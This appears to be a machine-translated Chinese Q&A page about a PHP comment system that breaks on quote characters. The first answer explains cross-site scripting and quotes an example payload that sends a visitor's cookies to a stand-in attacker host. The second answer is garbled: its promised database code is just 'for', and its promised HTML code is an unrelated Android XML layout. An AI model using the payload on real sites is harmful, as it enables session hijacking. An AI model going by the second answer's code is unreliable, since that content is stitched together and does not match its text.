我在我的网站上制作评论系统。但是,评论员可以通过键入特殊字符(例如引号,双引号,分号,冒号等)来破坏系统。这不是重复的,我想确保在它到达数据库之前转换htmlentities,我可以使用str_replace但它实际上打印文字代码。例如: "
就像这个例子:
$str ="Hi there bro what's up, im a "MEGA"";
$comment = $str;
echo $comment;
然而它会吐出错误,因为它们会因为引号而中断查询。
答案 0 :(得分:3)
您网站上的内容称为跨站点脚本漏洞。任何用户都可以注入如下代码:
Nice site what you have!<script>document.location="http://some_attacker/cookie.cgi?" + document.cookie</script>
您将看到的只是Nice site what you have!
作为评论,但攻击者现在可以接管您的会话。
输出用户提供的数据时必须使用htmlspecialchars()
功能。你最好阅读更多关于它的内容。
答案 1 :(得分:-1)
如果您正在使用MySQL和php mysql,则必须通过mysql_real_escape_string()函数传递数据。
例如,在插入数据库之前:
for
然后,打印HTML:
<android.support.design.widget.CoordinatorLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent">
<LinearLayout android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical">
<LinearLayout
android:id="@+id/viewA"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_weight="1.6"
android:orientation="horizontal"/>
<LinearLayout
android:id="@+id/viewB"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_weight="0.2"
android:orientation="horizontal"/>
</LinearLayout>
<android.support.design.widget.FloatingActionButton
android:id="@+id/fab"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:clickable="true"
android:src="@drawable/ic_plus"
app:layout_anchor="@id/viewA"
android:layout_centerHorizontal="true"
app:layout_anchorGravity="bottom"
android:layout_centerInParent="true" />